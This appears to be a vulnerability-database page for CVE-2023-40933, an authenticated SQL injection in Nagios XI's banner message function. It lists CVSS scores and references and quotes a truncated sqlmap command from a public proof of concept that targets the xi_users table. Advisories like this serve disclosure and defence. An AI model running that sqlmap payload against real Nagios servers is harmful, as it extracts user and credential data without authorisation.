Recent Vulnerabilities Research Posts Trends Blog About Contact

Published: 19/09/2023 Updated: 22/09/2023

CVSS v3 Base Score: 8.8 | Impact Score: 5.9 | Exploitability Score: 2.8

VMScore: 0

A SQL injection vulnerability in Nagios XI v5.11.1 and below allows authenticated attackers with announcement banner configuration privileges to execute arbitrary SQL commands via the ID parameter sent to the update_banner_message() function.

Vulnerable Product	Search on Vulmon	Subscribe to Product
nagios nagios xi

The sqlmap payload to exploit CVE-2023-40933

CVE-2023-40933 The sqlmap payload to exploit CVE-2023-40933 Payload Required Information: Valid Username and Password Domain and path of hosted instance sqlmap -D nagiosxi -T xi_users -u "<INSTANCE>/nagiosxi/admin/banner_message-ajaxhelperphp?action=update_banner_message_settings&id=3&token=`curl -ksX POST <INSTANCE&a

CWE-89 https://outpost24.com/blog/nagios-xi-vulnerabilities/http://nagios.com https://www.nagios.com/products/security/https://nvd.nist.gov https://github.com/sealldeveloper/CVE-2023-40933-PoC

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2023-40933

Vulnerability Summary

Vulnerability Trend

Github Repositories

References

Vulmon Search

About

Products

Connect